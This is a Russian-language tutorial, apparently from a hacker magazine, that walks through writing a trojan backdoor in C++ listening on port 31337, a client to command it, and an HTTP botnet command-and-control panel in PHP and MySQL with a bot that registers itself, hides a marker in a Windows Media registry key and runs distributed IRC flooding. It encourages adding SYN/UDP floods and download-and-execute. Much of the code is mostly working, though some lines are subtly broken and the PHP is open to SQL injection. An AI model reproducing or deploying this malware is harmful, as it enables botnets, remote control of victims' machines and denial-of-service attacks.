Вступление
Данная статья является продолжением моей статьи
"Зомби-сети:
Рассвет Мертвецов". На мой email пришло много вопросов по поводу реализаций управления RAT. Так что я решил
рассказать об этом подробнее. Ну, во-первых, мы напишем с тобой простейший троян, работающий по архитектуре "клиент-сервер".
Во-вторых, напишем основу взаимодействия RAT с централизованным сервером по HTTP. IRC я рассматривать не стал так как
тема уже затерта до дыр и в сети можно найти достаточное количество реализаций IRC-ботов. Начнем с "клиент-сервера".
Клиент-Сервер
Еще несколько лет назад в сети было огромное
количество троянов, работающих по этой архитектуре, сейчас же все принялись
за DDoS-ботов, работающих по централизованной архитектуре. Не скажу точно с чем это связано, но, наверное, это сейчас
более востребовано, плюс ко всему на это сейчас зарабатывают немаленькие деньги. Back Orrifce, Lamer's
Death, AntiLamer Backdoor - все это уже в прошлом. По моему мнению, любой троян, имеющий в себе функции RAT должен содержать в себе бэкдор,
работающий как раз по архитектуре "клиент-сервер". Писать мы будем на C++ и сервер и клиент. Начать, наверное, стоит с
сервера (:
- Как это будет работать
Прежде чем что-то писать, надо разобраться, что требуется от нашего бэкдора. А требуется от него следующее:
- Слушать заданный порт
- При подключении принимать команду
- Обработка команды (парсинг)
- Выполнение команды
Смотри: серверная часть трояна слушает заданный порт
и обработав команду выполняет ее. Клиентской частью мы будем
слать эти самые команды на заданный порт. Ясно?
- Пишем сервер
В реализации все очень просто. Писать будем на WinSock2 API, так, что не забудь заинклудить winsock2.h.
Сначала создаем серверный сокет "s" и заполним его структуру:
#define PORT 31337 // порт, на котором будет висеть бэкдор
// ... заполним структуру сокета ... //
SOCKET s; SOCKADDR_IN localaddr;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); // создаем сокет
"s"
localaddr.sin_addr.s_addr = htonl(INADDR_ANY);
localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(PORT); // присваиваем
порт
bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr)); // биндим
listen(s, 0); // и ставим на прослушку (:
// это будет наш сокет, принимающий клиентские запросы:
SOCKADDR_IN client_addr;
int client_addr_size=sizeof(client_addr);
Следующие действия будут выполняться при подключении к серверной части трояна клиентом. С помощью accept
подключаем клиента, а с помощью функции recv получаем данные от клиента:
while(client_socket = accept(s,(struct sockaddr *)&client_addr,&client_addr_size))
{
recv(client_socket,recvbuffer+strlen(recvbuffer),100,0); // 100 - количество возможных символов,
// принимаемых от клиента.
Отлично, теперь все принятые данные от клиента хранятся в recvbuffer. Остается пропарсить запрос и выполнить его.
Проще говоря, получая команду "message hacked _1nf3ct3d_by_1n3ct0r_" мы должны разделить ее на слова и затолкать их в
какую-нибудь переменную для последующей обработки. В качестве разделителя команд я использую пробел. Это не совсем удобно,
лучше использовать какой-нибудь другой символ, к примеру "*". Тогда клиент будет слать команду примерно так:
message*hacked*1nf3ct3d by 1nf3ct0r
По дальнейшему коду ты поймешь, что данная команда выводит MessageBox с сообщением
"hacked" и заголовком "1nf3ct3d by 1nf3ct0r". Приступим к парсингу:
char* cmd[32];
char* cmdparse = strtok(recvbuffer,"*"); // символ "*" - разделение команд
for(int i = 0; t; cmdparse = strtok(NULL,"*"), i++){ cmd[i] = cmdparse; }
Как видишь, все "слова" команды записываются в массив "cmd". К примеру, получив команду
"message*hacked*1nf3ct3d by 1nf3ct0r" от клиента, данные в массиве располагаться будут так:
cmd[0] = message - сама команда (вывод сообщения)
cmd[1] = hacked - параметр 1 (сообщение)
cmd[2] = 1nf3ct3d by 1nf3ct0r - параметр 2 (заголовок)
Вот, собственно пример обработка команды
"message":
if (strcmp(cmd[0]], "message")==0){
MessageBox(0,cmd[1],cmd[2],0);
}
Все, готово. Теперь на зараженной машине можно вывести любое сообщение. Рассмотрим второй пример:
// пример обработки команды
"monitor_off"
if (strcmp(cmd[0], "monitor_off")==0)
{
SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,-1);
strcpy(sendbuf,"\n have phun \n"); send(client_socket,sendbuf,strlen(sendbuf),0); }
}
После получения команды "monitor_off" на зараженной машине выключится монитор, а на клиент придет сообщение "have phun" :).
Думаю этого хватит и ты реализуешь другие фичи с помощью которых будет возможно полностью управлять зараженным компьютером.
Да, кстати. В файлах к статье найдешь полный исходный код серверной и клиентской части. Клиентскую часть я покажу сейчас как
писать...
- Пишем клиент
Что должен уметь клиент? Ответ прост:
- Возможность отсылки команд
- Получение ответа от сервера
Реализуется это очень просто. Для начала снова создадим сокет и заполним его структуры
SOCKADDR_IN my_addr; FD_SET readfds; SOCKET main_socket;
if((main_socket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))!=-1) // созадим сокет
{
readfds.fd_count=1;
readfds.fd_array[0]=main_socket;
my_addr.sin_family=AF_INET;
my_addr.sin_port=htons(31337); // порт бэкдора
my_addr.sin_addr.s_addr=resolve("localhost"); // хост зараженной машины
Здесь встречается функция resolve которая занимается тем, что получает IP адрес машины по ее хосту. Вот код этой
функции:
DWORD resolve(char *host)
{
DWORD ret = 0;
struct hostent * hp = gethostbyname(host);
if (!hp) ret = inet_addr(host);
if ((!hp)&&(ret == INADDR_NONE)) return 0;
if (hp != NULL) memcpy((void*)&ret, hp->h_addr,hp->h_length);
return ret;
}
Теперь приконнектимся к бэкдору и посылаем команду:
printf("[+] Connecting...");
if(!(connect(main_socket,(const struct sockaddr*)&my_addr,sizeof(my_addr))))
{
printf(" done. \n\r\n\r");
strcpy(buffer, "message*hacked*1nf3ct3d by 1nf3ct0r"); // в
буфер записываем комманду
send(main_socket,buffer,strlen(buffer),0); // и шлем ее серверу на обработку
Ну и получаем ответ от бэкдора, снова с помощью
recv.
int i = 0;
while(i = recv(main_socket,recvbuffer+strlen(recvbuffer),10000,0))
{
printf(recvbuffer);
strcpy(recvbuffer,"");
}
} else { printf(" cant connect. \n\r\n\r");
Вот, собственно, и все. И да, кстати. Чтобы инициализировать WinSock2API перед работой с сокетами пиши:
WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData);
Ну и чтобы закончить - WSACleanup().
Перейдем к управлению по HTTP.
Управление по HTTP
Сейчас я расскажу о приеме команд ботами с HTTP, конечно же это будет централизованная сеть и к тому же данная система
позволит сделать распределение команд по ботам. Бота писать мы будем, конечно же, на C++, а скрипт взаимодействия
бота с сервером (получение команд и т.д) на PHP+MySQL. Вопреки слухам скажу, что сделать это очень просто, достаточно
немного времени, терпения и желания 🙂
- Как это все будет работать
Для начала следует определиться, как будет работать наша система. Рассмотрим два GET-запроса, передаваемых скрипту
нашим ботом:
- getcommand.php?addtodb=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS
- getcommand.php?getcommand=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS
Как видно из параметров, скрипт имеет два "режима". Первый - добавляет бота в БД (addtodb=1), второй (getcommand=1) -
выдает команду. Параметры также говорят сами за себя:
- UID - уникальное имя бота, оно генерится при первом запуске бота и записывается в реестр, а при следующих запусках
просто копируется от туда. - IP - текущий IP-адрес машины. Без комментариев.
- OS - дополнительная информация о системе. Как вариант - имя пользователя, компьютера и версия ОС.
При каждом коннекте к базе данных информация
UID, IP, OS будет обновляться. Начнем.
- Заполняем БД
Создавай базу bots и таблицу botscommands в ней. Вот предлагаемая мной структура:
CREATE TABLE `botcommands` (
`uid` varchar(200) NOT NULL default '', # uid бота
`cmd` varchar(200) NOT NULL default '', # команда для бота
`ip` varchar(200) NOT NULL default '', # ip-адрес бота
`os` varchar(200) NOT NULL default '', # сведения о системе
FULLTEXT KEY `uid` (`uid`)
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;
Здесь прибавляется поле CMD, в которой хранится команда для бота. И сразу же толкаем запись в нее, где:
UID = 1nf3ct0r;
IP = 127.0.0.1;
OS = InfectedOS;
CMD = flood www.microsoft.com
Вот так будет выглядит SQL-запрос.
INSERT INTO `botcommands` VALUES ('1nf3ct0r', 'flood www.microsoft.com', '127.0.0.1', 'InfectedOS');
В файлах к статье ты найдешь дамп базы данных с структурой этой таблицы, как собственно и все исходники :).
Все. Теперь мы готовы к написанию скриптов. В качестве клиента к MySQL советую использовать phpMyAdmin или RST.MySQL
(rst.void.ru).
- Пишем скрипты
Испугался писать работу с базой данных MySQL на PHP? Ничего страшного 🙂 В PHP уже есть готовые функции для работы с ней.
Первая функция, которая нам понадобится - коннект к базе данных. Для этого существует функция
mysql_connect($host,$login,$password):
$SETS['mysql']['host']='localhost';
$SETS['mysql']['login']='root';
$SETS['mysql']['password']='';
$SETS['mysql']['db']='bots';
$connect=mysql_connect($SETS['mysql']['host'],$SETS['mysql']['login'],$SETS['mysql']['password']);
if ($connect===FALSE) die('Cant connect');
mysql_select_db($SETS['mysql']['db']);
Чтобы это все работало, в 'host' надо записать хост базы данных, в 'login' - логин, в 'password' - пароль, а в 'db' -
имя базы. А с помощью mysql_select_db($database) мы выбрали базу, которую указали ранее.
Следующая функция по сути не менее важная, чем коннект :)). Она нужна для выполнения SQL-запросов. Вот, смотри:
mysql_query($the_query);
Переменная $the_query - это любой SQL-запрос, который должен быть выполнен скриптом. Если у тебя есть проблемы с
SQL, то это не страшно. Я покажу тебе пару примеров составления запросов, так как без них никуда. Но это уже походу дела.
Посмотрел код? Теперь давай писать самый главный скрипт
взаимодействия бота с сервером, я буду называть его
getcommander.php. Ставь в начало кода Error_Reporting(0), чтобы он не выплевывал тупые notice, если таковые будут.
Окей, теперь давай напишем самый главный код и приступим к самому боту 🙂
Для начала объявим переменные:
$uid=$_GET['uid'];
$ip=$_GET[ip];
$os=$_GET[os];
$getcommand=$_GET[getcommand];
$addtodb=$_GET[addtodb];
Позволь напомнить тебе два запроса:
- getcommand.php?addtodb=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS // добавляем в базу
обратившись по данному линку мы увидим ответ: done - getcommand.php?getcommand=1&uid=1nf3ct0r &ip=127.0.0.1&os=1nf3ct3dOS // получаем команду
обратившись по данному линку мы увидим ответ: flood www.microsoft.com, а точнее значение поля
CMD.
Все. Обрабатываем GetCommand [2]:
if ($getcommand == 1)
{
$result = mysql_query("SELECT cmd FROM botcommands WHERE uid='".$uid."'");
echo mysql_result($result,0);
// и обновляем все данные бота (IP,
OS):
mysql_query("UPDATE botcommands SET ip='".$ip."', os='".$os."' WHERE uid='".$uid."'");
Функция mysql_result() возвращает ответ от базы данных, а mysql_query() просто выполняет запрос - в этом главное
отличие. Теперь, собственно о SQL-запросах. Я расскажу совсем чуть-чуть, чтобы ты понял о чем идет речь, но советую
разобраться с этим получше, так как SQL, на самом деле очень полезная штука :).
Запрос SELECT cmd FROM botcommands WHERE uid=<UID> возвратит значение поля cmd из таблицы botcommands принадлежащей uid = уид.
Результатом выполнения запроса SELECT cmd FROM botcommands WHERE uid='h4x0r' будет floot it.org.
Запрос UPDATE botcommands SET ip=<ip>, os=<os> WHERE uid=<uid> обновит значения полей. Пример:
UPDATE botcommands SET ip=31.33.73.00, os=some_info WHERE uid=1nf3ct0r
В результате запись из БД будет выглядеть так:
1nf3ct0r 31.33.73.00 some_info hacktheplan8
Теперь рассмотрим кусок кода, который добавит бота в базу данных:
} else if ($addtodb == 1)
{
echo "done";
mysql_query("INSERT INTO botcommands (uid,ip,os) VALUES ('".$uid."','".$ip."','".$os."')");
}
что касается echo "done" - то не убирай эту строку, она нам понадобится чуть позже, при проверке валидного добавления,
в базу. Но об этом позже. Все, можешь смело сохранять скрипт - он готов. Что же касается админки - пиши сам :). Пишем соответствующие функции для бота? 😉
- А теперь примемся за бота...
Рассмотрим главную функцию бота:
int main()
{
WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData); // инициализируем WinSock2 API
LONG sz; char buf[2]; HKEY key;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\ Windows Media\\WMSDTT", 0, KEY_QUERY_VALUE, &key)==ERROR_SUCCESS)
{getcommand("getcommand");} else { getcommand("addtobase"); }
WSACleanup();
return 0;
}
Фишка тут в следующем. Если бот уже был добавлен в базу, то создастся ключ в реестре по адресу
Software\Microsoft\Windows Media\WMSDTT. Если таковой не откроется, то мы добавим себя в базу, это опять таки походу статьи.
Функция getcommand имеет параметр _action: getcommand(char*
_action).
Сам _action двух типов:
- getcommand
при этом параметре выполняется получение команды с вэба, через тот самый скрипт который мы писали. - addtobase
бот добавляется в базу 🙂
Смотри код:
char *param;
if (_action == "addtobase")
{
param = "?addtodb=1&uid=0x48k&ip=127.0.0.2&os=1nf3ct3dOS";
} else if (_action = "getcommand")
{
param = "?getcommand=1&uid=1nf3ct0r&ip=127.0.0.1&os=Windows%20XP%20SP2";
}
Я не стал писать функцию получения инфы IP, OS и генерации UID - ты сам прекрасно с этим справишься, если захочешь.
Отправку GET-пакета и получение ответа от сервера я писал на сокетах. Этот момент мы тоже не пропустим 🙂
#define HOST "localhost"
#define COMMAND "/z0mbie/getcommand.php"
char sendbuffer[1024], recvbuffer[1024];
memset(recvbuffer,0,1024);
// Формируем GET-пакет:
strcpy(sendbuffer, "GET ");
strcat(sendbuffer, COMMAND);
strcat(sendbuffer, param);
strcat(sendbuffer, " HTTP/1.0\r\nHost: ");
strcat(sendbuffer, HOST);
strcat(sendbuffer, "\r\n\r\n");
Создаем сокет, заполняем его структуры:
SOCKET s = socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN webaddr;
webaddr.sin_addr.S_un.S_addr = resolve(HOST); // ф-ию резолва я уже описывал 🙂
webaddr.sin_family = AF_INET;
webaddr.sin_port = htons(80);
Коннектимся к серверу и шлем пакет:
if(connect(s, (struct sockaddr *)&webaddr,sizeof(SOCKADDR_IN))) return -1;
send(s, sendbuffer, strlen(sendbuffer),0);
Sleep(2000);
Получаем ответ от вэб сервера:
int i;
while(i = recv(s,recvbuffer+strlen(recvbuffer),1,0)) // получаем ответ
{if (i == SOCKET_ERROR) return -1;}
Парсим его:
char *temp,*token;
for(int i = 0; recvbuffer[i]!=0; ++i) // отбрасываем заголовок
{
if((recvbuffer[i]=='\r')&&(recvbuffer[i+1]=='\n')&&
(recvbuffer[i+2]=='\r')&&(recvbuffer[i+3]=='\n'))
{temp = (char*)&recvbuffer[i] + 4;break;}
}
if(strcmp(temp,"")==0) { temp = "no_commands"; }
token = strtok(temp, " \r\n"); // делим файл на слова
char *serv,*chan,*times,*freq,*msg;
char *port;
Вот теперь, внимание! Помнишь тот самый echo "done" в php-скрипте? Это нам понадобится для того, чтобы проверить
реально ли добавился бот в базу. Например, если сервер упал 🙂 При получении строки "done" бот создает ключ в реестре,
по которому в дальнейшем ориентируется добавляться в базу или нет.
if(strcmp(token,"done")==0)
{
HKEY hk; RegCreateKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows Media\\WMSDTT", &hk);
}
А вот пример парсинга с получением семи параметров для некой функции ircflood - она есть в исходнике к статье, грубо
говоря это распределенный флудер IRC-серверов.
Вот парсинг:
else if(strcmp(token,"ircflood")==0)
{
for (int i = 0; i <6; i++){
token = strtok(NULL, " \r\n");
if (i==0) { serv = token; } // получаем 1ый параметр (сервер)
if (i==1) { port = token; } // получаем 2ый параметр (порт)
if (i==2) { chan = token; } // получаем 4ый параметр (канал)
if (i==3) { times = token; } // получаем 5ый параметр (кол-во коннектов)
if (i==4) { freq = token; } // получаем 6ый параметр (частоту отсыла)
if (i==5) { msg = token; } // получаем 7ой параметр (мессагу)
}
Вот и все. Готово. Никто не мешает тебе добавить новые функции, такие как флуд HTTP/ICMP/UDP/SYN пакетами или скачку и
запуск любого EXE-файла.
Заключение
В этой статье мы очень подробно разобрали управление по HTTP и архитектуру "клиент-сервер". Готовые реализации с сорсами
ты найдешь в файлах к статье. В общем, если было что-то непонятно:
- Читай первую часть статьи.
- Разбирись с WinSock2 API и смотри файлы к статье.
- Пиши мне на мыло и учись юзать google.
На сегодня хватит. Все свободны 🙂